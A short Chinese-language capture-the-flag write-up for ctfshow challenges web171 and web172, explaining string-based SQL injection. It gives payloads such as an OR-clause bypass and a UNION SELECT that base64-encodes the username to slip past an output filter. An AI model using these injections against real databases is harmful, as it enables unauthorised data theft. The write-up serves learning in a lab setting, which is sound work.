web171
payload语句
1' or username='flag'--+
题目已经提供了我们select查询语句,我们只需要根据该语句进行拼接即可。
该sql语句由三部分组成,可以发现这里是字符型注入,要注意引号的闭合。
sql语句的第一部分
select username,password from user where username !='flag' and id = '
sql语句的第二部分
$_GET['id']
sql语句的第三部分
'limit 1;
web172
之前一直认为这里不支持联合查询,后来看了别人的文章才知道是可以的。但是为什么我之前没有发现呢?因为,我之前总是-1' union select 1,2,3--+
这样测,但是这里的select 1一写就错,不能带1,我也不是很明白这里的1为什么不能带上去。应该这样写测试语句-1 union select 2,3--+
,可以发现用户名和密码是两个显位。
另外,这里好像不支持order by。
一点教训:要灵活多变,不要死板地遵循步骤,如先order by,再union select 1,2,3,4,...。
这题的加了个判断,如果返回的数据里username='flag'
,则查询失败。所以这里对返回的username
字段进行了加密。
payload语句:
-1' union select to_base64(username),password from ctfshow_user2 where username='flag'--+